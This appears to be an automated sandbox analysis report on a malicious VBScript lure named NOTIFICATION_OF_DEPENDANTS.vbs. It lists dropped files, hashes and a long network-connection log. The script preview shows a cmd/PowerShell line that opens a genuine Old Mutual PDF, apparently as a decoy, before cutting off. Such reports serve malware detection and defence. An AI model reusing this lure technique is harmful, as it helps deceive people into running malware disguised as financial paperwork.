                                                                                                                                        SSDEEP:6:u0zRKxhCK0OFkVk50kxoMv/BBQ5/4Ve9kXZ4ou2cbCmKNRHRXA2VGb7WNn:dzKhCKvLxoMnSYeeZ5IC9JlVMSNn
                                                                                                                                        MD5:BA71527A1E57A5C925DFDBF3BADF346D
                                                                                                                                        SHA1:F92CC542A3EA28EE647E46BC52AA7D7F076F2E2D
                                                                                                                                        SHA-256:CE2836D5B698EF6EB9738B35B9A57F8DC9D7783A738E38EDCE4B908C7C63A4B4
                                                                                                                                        SHA-512:BC19E0311E0D9A7DDB9DCAD345945B8D452ABBB16A9913F3C0E85D313BC58614E09BC2A0542C28B2FE8C7160C2DB5698F2AC2BB483A341823401DB340D977E00
                                                                                                                                        Malicious:false
                                                                                                                                        Preview:..{0Cx......6..'.I.....9$... .K....u.?0Z....N....J...?..70[........j!%..E."..A.|iJ...w....H}.f.2d..w.;...0...V.8Kc2..#....e...E....Je2...K3].9..<.$..h..|$......?(u..{....}..b.i....g.)..QV-m..*..?...).X...d...y.m.dX..F,u.r.,.............0xABADCABA
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:data
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):286
                                                                                                                                        Entropy (8bit):7.230406980147395
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:6:4wrlgNcZtSnpDogq7+5Wlw0gZQtRsBsJbGu/MzkZQOQwZUC5AShn:4Klxtyxx0g6tjGuED6fAEn
                                                                                                                                        MD5:790601E4C85F40185BFB1FF1F3C5FEB9
                                                                                                                                        SHA1:7B217ADC1E2EAA2B20B72EEBAD0F7BDC94802BBF
                                                                                                                                        SHA-256:71365A37AAF9779D3E0D020F89CA8BEA0749CE679C8024B4D4B1770BF5C1667F
                                                                                                                                        SHA-512:18238915456433EB0FBF4D1F81B3ECE045C2877C61CE9006921FCC607DED691B75B9A5E75632EE94E0D662A2FB9038DD23D42E610FFE1C8B945BB636F8C0648B
                                                                                                                                        Malicious:false
                                                                                                                                        Preview:u...`pc>z.h...<.......C,W>..;RL&.e..H:+...>.6......j..8.G..`......f..D...0=._.X...O.]:st....t....j'o.e....g.....Ei.cM.l~.......Z;o+x..,.........1.p.sZ,........H[....S....Q....g.....A6.2..dA...,.D[.n.h..Q.1'.I.b.....g~M{.6...q..=......w......d...C)].m..?=..1.4.+.H>6%6..0xABADCABA
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:data
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):286
                                                                                                                                        Entropy (8bit):7.230406980147395
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:6:4wrlgNcZtSnpDogq7+5Wlw0gZQtRsBsJbGu/MzkZQOQwZUC5AShn:4Klxtyxx0g6tjGuED6fAEn
                                                                                                                                        MD5:790601E4C85F40185BFB1FF1F3C5FEB9
                                                                                                                                        SHA1:7B217ADC1E2EAA2B20B72EEBAD0F7BDC94802BBF
                                                                                                                                        SHA-256:71365A37AAF9779D3E0D020F89CA8BEA0749CE679C8024B4D4B1770BF5C1667F
                                                                                                                                        SHA-512:18238915456433EB0FBF4D1F81B3ECE045C2877C61CE9006921FCC607DED691B75B9A5E75632EE94E0D662A2FB9038DD23D42E610FFE1C8B945BB636F8C0648B
                                                                                                                                        Malicious:false
                                                                                                                                        Preview:u...`pc>z.h...<.......C,W>..;RL&.e..H:+...>.6......j..8.G..`......f..D...0=._.X...O.]:st....t....j'o.e....g.....Ei.cM.l~.......Z;o+x..,.........1.p.sZ,........H[....S....Q....g.....A6.2..dA...,.D[.n.h..Q.1'.I.b.....g~M{.6...q..=......w......d...C)].m..?=..1.4.+.H>6%6..0xABADCABA
                                                                                                                                        Process:C:\Windows\System32\svchost.exe
                                                                                                                                        File Type:JSON data
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):55
                                                                                                                                        Entropy (8bit):4.306461250274409
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
                                                                                                                                        MD5:DCA83F08D448911A14C22EBCACC5AD57
                                                                                                                                        SHA1:91270525521B7FE0D986DB19747F47D34B6318AD
                                                                                                                                        SHA-256:2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
                                                                                                                                        SHA-512:96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
                                                                                                                                        Malicious:false
                                                                                                                                        Preview:{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}
                                                                                                                                        Process:C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                        File Type:HTML document, ASCII text, with very long lines (6862)
                                                                                                                                        Category:downloaded
                                                                                                                                        Size (bytes):8659
                                                                                                                                        Entropy (8bit):5.0979028677638505
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:96:6gsuoUKXUC3A6ld0MTup4rNqfQlAdavqa5mRLvO9Sv:6gszUTCw6ld0/434VO0
                                                                                                                                        MD5:693E4A6385E015012881FBF286A7610B
                                                                                                                                        SHA1:A04D37354E1D8125A6996F1B6F9141F16929C989
                                                                                                                                        SHA-256:12593063961AC5F4C262F9BBD4DF98CBC7F216590CE23B8EA6F495C1DAC591BC
                                                                                                                                        SHA-512:E5F1D18201C2F7DC88FED4BD8CFB0EEC05F83512A947488E78A61E48FE3D2524CFDA648FED5AED87EC46B8A57B62B3FFB209CD5476C9A9D355879469DE37A31A
                                                                                                                                        Malicious:false
                                                                                                                                        URL:https://www.oldmutual.co.za/favicon.ico
                                                                                                                                        Preview:<!DOCTYPE html>.<html data-html-server-rendered="true" lang="en" data-vue-tag="%7B%22lang%22:%7B%22ssr%22:%22en%22%7D%7D">. <head>. <title> </title><meta name="gridsome:hash" content="9e96232045caecccc3d0a35a9947520e81c78cf9"><meta data-vue-tag="ssr" name="google-site-verification" content="xrUvgzX2k1AWgqdiKqT0ugSWjNwSSE7w9lU2QF7EdsU"><meta data-vue-tag="ssr" name="facebook-domain-verification" content="k5kqrz6e2we7gyh2h56gfcpcln7rph"><meta data-vue-tag="ssr" http-equiv="X-UA-Compatible" content="IE=edge"><meta data-vue-tag="ssr" charset="utf-8"><meta data-vue-tag="ssr" name="generator" content="Gridsome v0.7.14"><meta data-vue-tag="ssr" data-key="viewport" name="viewport" content="width=device-width, initial-scale=1, viewport-fit=cover"><meta data-vue-tag="ssr" data-key="format-detection" name="format-detection" content="telephone=no"><meta data-vue-tag="ssr" name="google-site-verification" content="PY7wyunD0P7mjVCjJNIhZSONqGdouJT4OI3tT5J-tHA"><link data-vue-tag="ssr" rel="icon" t
                                                                                                                                        Process:C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                        File Type:PDF document, version 1.6 (zip deflate encoded)
                                                                                                                                        Category:downloaded
                                                                                                                                        Size (bytes):313058
                                                                                                                                        Entropy (8bit):7.489403200507457
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:3072:fIS2SsoMIr16Q9wt0I/pK9UW4cAgfmi+gKr116umiFBgKw1AlHCgKP1BSljgKr+g:fn2SVMIrIQ9c0I/s9U1cSrhjwvPnEr+g
                                                                                                                                        MD5:0B46EEFB0F38BAF77484929DD67DB02C
                                                                                                                                        SHA1:DE2CE2981F80DEB18935A2D7C76862D049FE7E2A
                                                                                                                                        SHA-256:496212C9D3B71BF483C6B97E4803E00B46B5F8AE731FE4EAE73F614B41F22163
                                                                                                                                        SHA-512:04A0518619385AC7E64A0B2122038C946A22E6E61A06FE539AB389EEB8C2414BF95A6D15DF2478E02F5733F4F2A8C4981B9D35BDE44C59FCD746B020E4B55172
                                                                                                                                        Malicious:false
                                                                                                                                        URL:https://www.oldmutual.co.za/v3/assets/blt0554f48052bb4620/blt8b52803ba23b252a/66742ed3b2cbc14f42b4434c/Superfund_Beneficiary_Nomination_form.pdf
                                                                                                                                        Preview:%PDF-1.6.%......1196 0 obj.<</Filter/FlateDecode/First 418/Length 3681/N 46/Type/ObjStm>>stream..h..Z{o.9..*.....0b7.M`.@.....v.v.7...m.m7FRk[.L|..~E.e..'.L...WU..X/.....[.Im2o\.Ek.Rb.`..........SRGf2/..gRZ...1.l.LZU.......I..F.S....T.;.L..3..u....v:....t<......v.F.dV.t......N..e3.%(+....A.T*GX>+-...,%8t.....Hb|iB `M\...e.......e....=K..=.z.=C.MN....z%.$z..4..P.S..x..SP......i..06N.._...j.\^..&.....7..r.)t....u....@~Z..2....7..._.8Bw..}=.....l.}.9...8.._.=>....^w.YX?..f.^.._..0.1.........r.d.8....dE....U.`...].]/...2.x..B.....<...r.........u...i...wU.I.7....hok.)......:.7M....lA..M...e....u%a.9.y..-......b.-.Rs......}..?./s.J.e.p....<....s....X.L..R.].l........Y.....6c9..Xq[...#..."W..2.cF(...=@....*&....E=_7..Q...qV.rq...p.h..B......^...e........P......[..gP.+_O>.zU..fU...n)...N...C.J.|..W~j......#{y.. ..g".........nQ.....n.S"N.dR.......&.K......i.y.\n.u......9P0.....`.7.Yx.).3}.{p..z.(....:......*...&...e.mpG...3......9.p...3....FA..{...f.0.....
                                                                                                                                        Process:C:\Windows\System32\wbem\WMIC.exe
                                                                                                                                        File Type:ASCII text, with CRLF, CR line terminators
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):48
                                                                                                                                        Entropy (8bit):4.305255793112395
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:3:8yzGc7C1RREal:nzGtRV
                                                                                                                                        MD5:6ED2062D4FB53D847335AE403B23BE62
                                                                                                                                        SHA1:C3030ED2C3090594869691199F46BE7A9A12E035
                                                                                                                                        SHA-256:43B5390113DCBFA597C4AAA154347D72F660DB5F2A0398EB3C1D35793E8220B9
                                                                                                                                        SHA-512:C9C302215394FEC0B38129280A8303E0AF46BA71B75672665D89828C6F68A54E18430F953CE36B74F50DC0F658CA26AC3572EA60F9E6714AFFC9FB623E3C54FC
                                                                                                                                        Malicious:false
                                                                                                                                        Preview:ERROR:...Description = Initialization failure...
                                                                                                                                        Process:C:\Windows\SysWOW64\PING.EXE
                                                                                                                                        File Type:ASCII text, with CRLF line terminators
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):283
                                                                                                                                        Entropy (8bit):4.84674468132717
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:6:PzXULmWxHLTpUrUPZ7wUsW3CNcwAFeMmvVOIHJFxMVlmJHaVFiSbietG:P+pTpcUP9nsTDAFSkIrxMVlmJHaVJ/o
                                                                                                                                        MD5:7DA6C89F3E3B1033285DEC8A71A04E4D
                                                                                                                                        SHA1:4542097F9D99DF36E4A34CA6254CE7C01F78B258
                                                                                                                                        SHA-256:F2FA022B21EFBAA5E055E1DA3442367D00FA2F79F6AC582F4AC70EB68C1BC80D
                                                                                                                                        SHA-512:00A21ADADEAE33819995DCB5E3D050C8F8ECFE96B29D6584DBAFC7BC46F4AD3E96B6FB3C2276A5AD26F1F4128B7A1353A1747E171860AAC76B4D7B465FD7669C
                                                                                                                                        Malicious:false
                                                                                                                                        Preview:..Pinging 1.1.1.1 with 32 bytes of data:..Reply from 1.1.1.1: bytes=32 time=137ms TTL=55....Ping statistics for 1.1.1.1:.. Packets: Sent = 1, Received = 1, Lost = 0 (0% loss),..Approximate round trip times in milli-seconds:.. Minimum = 137ms, Maximum = 137ms, Average = 137ms..
                                                                                                                                        File type:ASCII text
                                                                                                                                        Entropy (8bit):5.303020791428365
                                                                                                                                        TrID:
                                                                                                                                          File name:NOTIFICATION_OF_DEPENDANTS.vbs
                                                                                                                                          File size:937 bytes
                                                                                                                                          MD5:35bac32c4a974aca6eb45625ea91bdb9
                                                                                                                                          SHA1:90b726a869c796b710340da2cdce72894cfb5321
                                                                                                                                          SHA256:f7cbe1d0926c6e0895951882ff430d624630cd14b4d3b1a4c837a3feac71dd48
                                                                                                                                          SHA512:2222d7d791393fd6a96d37da806f89906aabe5b28ed0749176a91a65215bbc6e240ff4cd7250b511960af1ec1c5505e8166509ca82e0494c1dfc2f9ff9e2c695
                                                                                                                                          SSDEEP:24:EC5nX10YJnELIpDe/9u8VKOpiFMpw8sFkvyq1UC:j5nl0YJEqylVhpgM9pv1
                                                                                                                                          TLSH:3B11DC23E5AC533D17FE8674C2E613A98E03FB41090465A75E39FD45828559583B268D
                                                                                                                                          File Content Preview:' Define the command to execute .Dim command.command = "cmd /c powershell start-process https://www.oldmutual.co.za/v3/assets/blt0554f48052bb4620/blt8b52803ba23b252a/66742ed3b2cbc14f42b4434c/Superfund_Beneficiary_Nomination_form.pdf" .command4 = "cmd /c
                                                                                                                                          Icon Hash:68d69b8f86ab9a86
                                                                                                                                          TimestampSource PortDest PortSource IPDest IP
                                                                                                                                          Dec 14, 2024 13:59:25.962333918 CET49674443192.168.2.11173.222.162.42
                                                                                                                                          Dec 14, 2024 13:59:26.103005886 CET49673443192.168.2.11173.222.162.42
                                                                                                                                          Dec 14, 2024 13:59:28.182219028 CET49676443192.168.2.1120.189.173.3
                                                                                                                                          Dec 14, 2024 13:59:28.493638039 CET49676443192.168.2.1120.189.173.3
                                                                                                                                          Dec 14, 2024 13:59:29.103066921 CET49676443192.168.2.1120.189.173.3
                                                                                                                                          Dec 14, 2024 13:59:29.149826050 CET49671443192.168.2.11204.79.197.203
                                                                                                                                          Dec 14, 2024 13:59:30.306061983 CET49676443192.168.2.1120.189.173.3
                                                                                                                                          Dec 14, 2024 13:59:32.712371111 CET49676443192.168.2.1120.189.173.3
                                                                                                                                          Dec 14, 2024 13:59:35.572076082 CET49674443192.168.2.11173.222.162.42
                                                                                                                                          Dec 14, 2024 13:59:35.705445051 CET49673443192.168.2.11173.222.162.42
                                                                                                                                          Dec 14, 2024 13:59:36.315798998 CET49712443192.168.2.11108.158.75.92
                                                                                                                                          Dec 14, 2024 13:59:36.315843105 CET44349712108.158.75.92192.168.2.11
                                                                                                                                          Dec 14, 2024 13:59:36.315923929 CET49712443192.168.2.11108.158.75.92
                                                                                                                                          Dec 14, 2024 13:59:36.316351891 CET49712443192.168.2.11108.158.75.92
                                                                                                                                          Dec 14, 2024 13:59:36.316385031 CET44349712108.158.75.92192.168.2.11
                                                                                                                                          Dec 14, 2024 13:59:37.555290937 CET49676443192.168.2.1120.189.173.3
                                                                                                                                          Dec 14, 2024 13:59:38.033768892 CET44349712108.158.75.92192.168.2.11
                                                                                                                                          Dec 14, 2024 13:59:38.075567007 CET49712443192.168.2.11108.158.75.92
                                                                                                                                          Dec 14, 2024 13:59:38.075619936 CET44349712108.158.75.92192.168.2.11
                                                                                                                                          Dec 14, 2024 13:59:38.076873064 CET44349712108.158.75.92192.168.2.11
                                                                                                                                          Dec 14, 2024 13:59:38.076956034 CET49712443192.168.2.11108.158.75.92
                                                                                                                                          Dec 14, 2024 13:59:38.087094069 CET49712443192.168.2.11108.158.75.92
                                                                                                                                          Dec 14, 2024 13:59:38.087198019 CET44349712108.158.75.92192.168.2.11
                                                                                                                                          Dec 14, 2024 13:59:38.087418079 CET49712443192.168.2.11108.158.75.92
                                                                                                                                          Dec 14, 2024 13:59:38.087438107 CET44349712108.158.75.92192.168.2.11
                                                                                                                                          Dec 14, 2024 13:59:38.098803043 CET44349707173.222.162.42192.168.2.11
                                                                                                                                          Dec 14, 2024 13:59:38.098970890 CET49707443192.168.2.11173.222.162.42
                                                                                                                                          Dec 14, 2024 13:59:38.268218040 CET49712443192.168.2.11108.158.75.92
                                                                                                                                          Dec 14, 2024 13:59:38.760540009 CET49671443192.168.2.11204.79.197.203
                                                                                                                                          Dec 14, 2024 13:59:38.954236984 CET44349712108.158.75.92192.168.2.11
                                                                                                                                          Dec 14, 2024 13:59:38.994263887 CET44349712108.158.75.92192.168.2.11
                                                                                                                                          Dec 14, 2024 13:59:38.994282007 CET44349712108.158.75.92192.168.2.11
                                                                                                                                          Dec 14, 2024 13:59:38.994307995 CET44349712108.158.75.92192.168.2.11
                                                                                                                                          Dec 14, 2024 13:59:38.994323015 CET44349712108.158.75.92192.168.2.11
                                                                                                                                          Dec 14, 2024 13:59:38.994333029 CET44349712108.158.75.92192.168.2.11
                                                                                                                                          Dec 14, 2024 13:59:38.994353056 CET49712443192.168.2.11108.158.75.92
                                                                                                                                          Dec 14, 2024 13:59:38.994386911 CET44349712108.158.75.92192.168.2.11
                                                                                                                                          Dec 14, 2024 13:59:38.994415998 CET49712443192.168.2.11108.158.75.92
                                                                                                                                          Dec 14, 2024 13:59:38.994421959 CET44349712108.158.75.92192.168.2.11
                                                                                                                                          Dec 14, 2024 13:59:38.994472027 CET49712443192.168.2.11108.158.75.92
                                                                                                                                          Dec 14, 2024 13:59:39.157860994 CET49712443192.168.2.11108.158.75.92
                                                                                                                                          Dec 14, 2024 13:59:39.185266972 CET44349712108.158.75.92192.168.2.11
                                                                                                                                          Dec 14, 2024 13:59:39.185288906 CET44349712108.158.75.92192.168.2.11
                                                                                                                                          Dec 14, 2024 13:59:39.185331106 CET44349712108.158.75.92192.168.2.11
                                                                                                                                          Dec 14, 2024 13:59:39.185348034 CET44349712108.158.75.92192.168.2.11
                                                                                                                                          Dec 14, 2024 13:59:39.185368061 CET44349712108.158.75.92192.168.2.11
                                                                                                                                          Dec 14, 2024 13:59:39.185374022 CET44349712108.158.75.92192.168.2.11
                                                                                                                                          Dec 14, 2024 13:59:39.185399055 CET49712443192.168.2.11108.158.75.92
                                                                                                                                          Dec 14, 2024 13:59:39.185477018 CET49712443192.168.2.11108.158.75.92
                                                                                                                                          Dec 14, 2024 13:59:39.227698088 CET44349712108.158.75.92192.168.2.11
                                                                                                                                          Dec 14, 2024 13:59:39.227720976 CET44349712108.158.75.92192.168.2.11
                                                                                                                                          Dec 14, 2024 13:59:39.227745056 CET44349712108.158.75.92192.168.2.11
                                                                                                                                          Dec 14, 2024 13:59:39.227756023 CET44349712108.158.75.92192.168.2.11
                                                                                                                                          Dec 14, 2024 13:59:39.227782011 CET49712443192.168.2.11108.158.75.92
                                                                                                                                          Dec 14, 2024 13:59:39.227790117 CET44349712108.158.75.92192.168.2.11
                                                                                                                                          Dec 14, 2024 13:59:39.227818966 CET44349712108.158.75.92192.168.2.11
                                                                                                                                          Dec 14, 2024 13:59:39.227832079 CET49712443192.168.2.11108.158.75.92
                                                                                                                                          Dec 14, 2024 13:59:39.227869034 CET49712443192.168.2.11108.158.75.92
                                                                                                                                          Dec 14, 2024 13:59:39.347796917 CET44349712108.158.75.92192.168.2.11
                                                                                                                                          Dec 14, 2024 13:59:39.347816944 CET44349712108.158.75.92192.168.2.11
                                                                                                                                          Dec 14, 2024 13:59:39.347853899 CET44349712108.158.75.92192.168.2.11
                                                                                                                                          Dec 14, 2024 13:59:39.347872972 CET44349712108.158.75.92192.168.2.11
                                                                                                                                          Dec 14, 2024 13:59:39.347886086 CET49712443192.168.2.11108.158.75.92
                                                                                                                                          Dec 14, 2024 13:59:39.347893000 CET44349712108.158.75.92192.168.2.11
                                                                                                                                          Dec 14, 2024 13:59:39.347914934 CET44349712108.158.75.92192.168.2.11
                                                                                                                                          Dec 14, 2024 13:59:39.347989082 CET49712443192.168.2.11108.158.75.92
                                                                                                                                          Dec 14, 2024 13:59:39.377485991 CET44349712108.158.75.92192.168.2.11
                                                                                                                                          Dec 14, 2024 13:59:39.377505064 CET44349712108.158.75.92192.168.2.11
                                                                                                                                          Dec 14, 2024 13:59:39.377530098 CET44349712108.158.75.92192.168.2.11
                                                                                                                                          Dec 14, 2024 13:59:39.377538919 CET44349712108.158.75.92192.168.2.11
                                                                                                                                          Dec 14, 2024 13:59:39.377588987 CET49712443192.168.2.11108.158.75.92
                                                                                                                                          Dec 14, 2024 13:59:39.377604008 CET44349712108.158.75.92192.168.2.11
                                                                                                                                          Dec 14, 2024 13:59:39.377651930 CET49712443192.168.2.11108.158.75.92
                                                                                                                                          Dec 14, 2024 13:59:39.377680063 CET49712443192.168.2.11108.158.75.92
                                                                                                                                          Dec 14, 2024 13:59:39.401998043 CET44349712108.158.75.92192.168.2.11
                                                                                                                                          Dec 14, 2024 13:59:39.402017117 CET44349712108.158.75.92192.168.2.11
                                                                                                                                          Dec 14, 2024 13:59:39.402039051 CET44349712108.158.75.92192.168.2.11
                                                                                                                                          Dec 14, 2024 13:59:39.402122974 CET49712443192.168.2.11108.158.75.92
                                                                                                                                          Dec 14, 2024 13:59:39.402139902 CET44349712108.158.75.92192.168.2.11
                                                                                                                                          Dec 14, 2024 13:59:39.402213097 CET49712443192.168.2.11108.158.75.92
                                                                                                                                          Dec 14, 2024 13:59:39.410123110 CET44349712108.158.75.92192.168.2.11
                                                                                                                                          Dec 14, 2024 13:59:39.410212040 CET49712443192.168.2.11108.158.75.92
                                                                                                                                          Dec 14, 2024 13:59:39.410228014 CET44349712108.158.75.92192.168.2.11
                                                                                                                                          Dec 14, 2024 13:59:39.418205023 CET44349712108.158.75.92192.168.2.11
                                                                                                                                          Dec 14, 2024 13:59:39.418282032 CET49712443192.168.2.11108.158.75.92
                                                                                                                                          Dec 14, 2024 13:59:39.418291092 CET44349712108.158.75.92192.168.2.11
                                                                                                                                          Dec 14, 2024 13:59:39.529383898 CET49712443192.168.2.11108.158.75.92
                                                                                                                                          Dec 14, 2024 13:59:39.531662941 CET44349712108.158.75.92192.168.2.11
                                                                                                                                          Dec 14, 2024 13:59:39.531683922 CET44349712108.158.75.92192.168.2.11
                                                                                                                                          Dec 14, 2024 13:59:39.531732082 CET44349712108.158.75.92192.168.2.11
                                                                                                                                          Dec 14, 2024 13:59:39.531759977 CET44349712108.158.75.92192.168.2.11
                                                                                                                                          Dec 14, 2024 13:59:39.531769991 CET49712443192.168.2.11108.158.75.92
                                                                                                                                          Dec 14, 2024 13:59:39.531850100 CET49712443192.168.2.11108.158.75.92
                                                                                                                                          Dec 14, 2024 13:59:39.547668934 CET44349712108.158.75.92192.168.2.11
                                                                                                                                          Dec 14, 2024 13:59:39.547688007 CET44349712108.158.75.92192.168.2.11
                                                                                                                                          Dec 14, 2024 13:59:39.547710896 CET44349712108.158.75.92192.168.2.11
                                                                                                                                          Dec 14, 2024 13:59:39.547719955 CET44349712108.158.75.92192.168.2.11
                                                                                                                                          Dec 14, 2024 13:59:39.547765017 CET49712443192.168.2.11108.158.75.92
                                                                                                                                          Dec 14, 2024 13:59:39.547785997 CET44349712108.158.75.92192.168.2.11
                                                                                                                                          Dec 14, 2024 13:59:39.547847033 CET49712443192.168.2.11108.158.75.92
                                                                                                                                          Dec 14, 2024 13:59:39.555902958 CET44349712108.158.75.92192.168.2.11
                                                                                                                                          Dec 14, 2024 13:59:39.555918932 CET44349712108.158.75.92192.168.2.11
                                                                                                                                          Dec 14, 2024 13:59:39.555990934 CET49712443192.168.2.11108.158.75.92
                                                                                                                                          Dec 14, 2024 13:59:39.556005955 CET44349712108.158.75.92192.168.2.11
                                                                                                                                          Dec 14, 2024 13:59:39.556052923 CET49712443192.168.2.11108.158.75.92
                                                                                                                                          Dec 14, 2024 13:59:39.568367004 CET44349712108.158.75.92192.168.2.11
                                                                                                                                          Dec 14, 2024 13:59:39.568386078 CET44349712108.158.75.92192.168.2.11
                                                                                                                                          Dec 14, 2024 13:59:39.568414927 CET44349712108.158.75.92192.168.2.11
                                                                                                                                          Dec 14, 2024 13:59:39.568470001 CET49712443192.168.2.11108.158.75.92
                                                                                                                                          Dec 14, 2024 13:59:39.568484068 CET44349712108.158.75.92192.168.2.11
                                                                                                                                          Dec 14, 2024 13:59:39.568538904 CET49712443192.168.2.11108.158.75.92
                                                                                                                                          Dec 14, 2024 13:59:39.582926035 CET44349712108.158.75.92192.168.2.11
                                                                                                                                          Dec 14, 2024 13:59:39.583004951 CET49712443192.168.2.11108.158.75.92
                                                                                                                                          Dec 14, 2024 13:59:39.583033085 CET44349712108.158.75.92192.168.2.11
                                                                                                                                          Dec 14, 2024 13:59:39.583060980 CET44349712108.158.75.92192.168.2.11
                                                                                                                                          Dec 14, 2024 13:59:39.583118916 CET49712443192.168.2.11108.158.75.92
                                                                                                                                          Dec 14, 2024 13:59:39.583127975 CET44349712108.158.75.92192.168.2.11
                                                                                                                                          Dec 14, 2024 13:59:39.595525026 CET44349712108.158.75.92192.168.2.11
                                                                                                                                          Dec 14, 2024 13:59:39.595557928 CET44349712108.158.75.92192.168.2.11
                                                                                                                                          Dec 14, 2024 13:59:39.595614910 CET49712443192.168.2.11108.158.75.92
                                                                                                                                          Dec 14, 2024 13:59:39.595644951 CET44349712108.158.75.92192.168.2.11
                                                                                                                                          Dec 14, 2024 13:59:39.595690966 CET49712443192.168.2.11108.158.75.92
                                                                                                                                          Dec 14, 2024 13:59:39.608932972 CET44349712108.158.75.92192.168.2.11
                                                                                                                                          Dec 14, 2024 13:59:39.608967066 CET44349712108.158.75.92192.168.2.11
                                                                                                                                          Dec 14, 2024 13:59:39.609024048 CET49712443192.168.2.11108.158.75.92
                                                                                                                                          Dec 14, 2024 13:59:39.609035969 CET44349712108.158.75.92192.168.2.11
                                                                                                                                          Dec 14, 2024 13:59:39.609107018 CET49712443192.168.2.11108.158.75.92
                                                                                                                                          Dec 14, 2024 13:59:39.623456955 CET44349712108.158.75.92192.168.2.11
                                                                                                                                          Dec 14, 2024 13:59:39.623495102 CET44349712108.158.75.92192.168.2.11
                                                                                                                                          Dec 14, 2024 13:59:39.623549938 CET49712443192.168.2.11108.158.75.92
                                                                                                                                          Dec 14, 2024 13:59:39.623559952 CET44349712108.158.75.92192.168.2.11
                                                                                                                                          Dec 14, 2024 13:59:39.623601913 CET49712443192.168.2.11108.158.75.92
                                                                                                                                          Dec 14, 2024 13:59:39.722879887 CET44349712108.158.75.92192.168.2.11
                                                                                                                                          Dec 14, 2024 13:59:39.722918987 CET44349712108.158.75.92192.168.2.11
                                                                                                                                          Dec 14, 2024 13:59:39.722978115 CET49712443192.168.2.11108.158.75.92
                                                                                                                                          Dec 14, 2024 13:59:39.723011971 CET44349712108.158.75.92192.168.2.11
                                                                                                                                          Dec 14, 2024 13:59:39.723030090 CET49712443192.168.2.11108.158.75.92
                                                                                                                                          Dec 14, 2024 13:59:39.734961033 CET44349712108.158.75.92192.168.2.11
                                                                                                                                          Dec 14, 2024 13:59:39.734973907 CET44349712108.158.75.92192.168.2.11
                                                                                                                                          Dec 14, 2024 13:59:39.734991074 CET44349712108.158.75.92192.168.2.11
                                                                                                                                          Dec 14, 2024 13:59:39.735002995 CET44349712108.158.75.92192.168.2.11
                                                                                                                                          Dec 14, 2024 13:59:39.735028028 CET49712443192.168.2.11108.158.75.92
                                                                                                                                          Dec 14, 2024 13:59:39.735057116 CET44349712108.158.75.92192.168.2.11
                                                                                                                                          Dec 14, 2024 13:59:39.735081911 CET49712443192.168.2.11108.158.75.92
                                                                                                                                          Dec 14, 2024 13:59:39.745701075 CET44349712108.158.75.92192.168.2.11
                                                                                                                                          Dec 14, 2024 13:59:39.745752096 CET44349712108.158.75.92192.168.2.11
                                                                                                                                          Dec 14, 2024 13:59:39.745773077 CET44349712108.158.75.92192.168.2.11
                                                                                                                                          Dec 14, 2024 13:59:39.745776892 CET49712443192.168.2.11108.158.75.92
                                                                                                                                          Dec 14, 2024 13:59:39.745796919 CET44349712108.158.75.92192.168.2.11
                                                                                                                                          Dec 14, 2024 13:59:39.745815992 CET44349712108.158.75.92192.168.2.11
                                                                                                                                          Dec 14, 2024 13:59:39.745867968 CET49712443192.168.2.11108.158.75.92
                                                                                                                                          Dec 14, 2024 13:59:39.745867968 CET49712443192.168.2.11108.158.75.92
                                                                                                                                          Dec 14, 2024 13:59:39.745867968 CET49712443192.168.2.11108.158.75.92
                                                                                                                                          Dec 14, 2024 13:59:39.754455090 CET44349712108.158.75.92192.168.2.11
                                                                                                                                          Dec 14, 2024 13:59:39.754507065 CET44349712108.158.75.92192.168.2.11
                                                                                                                                          Dec 14, 2024 13:59:39.754553080 CET49712443192.168.2.11108.158.75.92
                                                                                                                                          Dec 14, 2024 13:59:39.754570007 CET44349712108.158.75.92192.168.2.11
                                                                                                                                          Dec 14, 2024 13:59:39.754590988 CET49712443192.168.2.11108.158.75.92
                                                                                                                                          Dec 14, 2024 13:59:39.765245914 CET44349712108.158.75.92192.168.2.11
                                                                                                                                          Dec 14, 2024 13:59:39.765281916 CET44349712108.158.75.92192.168.2.11
                                                                                                                                          Dec 14, 2024 13:59:39.765336037 CET49712443192.168.2.11108.158.75.92
                                                                                                                                          Dec 14, 2024 13:59:39.765352964 CET44349712108.158.75.92192.168.2.11
                                                                                                                                          Dec 14, 2024 13:59:39.765429974 CET49712443192.168.2.11108.158.75.92
                                                                                                                                          Dec 14, 2024 13:59:39.772275925 CET44349712108.158.75.92192.168.2.11
                                                                                                                                          Dec 14, 2024 13:59:39.772360086 CET49712443192.168.2.11108.158.75.92
                                                                                                                                          Dec 14, 2024 13:59:39.772373915 CET44349712108.158.75.92192.168.2.11
                                                                                                                                          Dec 14, 2024 13:59:39.772391081 CET44349712108.158.75.92192.168.2.11
                                                                                                                                          Dec 14, 2024 13:59:39.772438049 CET49712443192.168.2.11108.158.75.92
                                                                                                                                          Dec 14, 2024 13:59:39.789115906 CET49712443192.168.2.11108.158.75.92
                                                                                                                                          Dec 14, 2024 13:59:39.789133072 CET44349712108.158.75.92192.168.2.11
                                                                                                                                          Dec 14, 2024 13:59:39.864232063 CET49727443192.168.2.11108.158.75.92
                                                                                                                                          Dec 14, 2024 13:59:39.864285946 CET44349727108.158.75.92192.168.2.11
                                                                                                                                          Dec 14, 2024 13:59:39.864355087 CET49727443192.168.2.11108.158.75.92
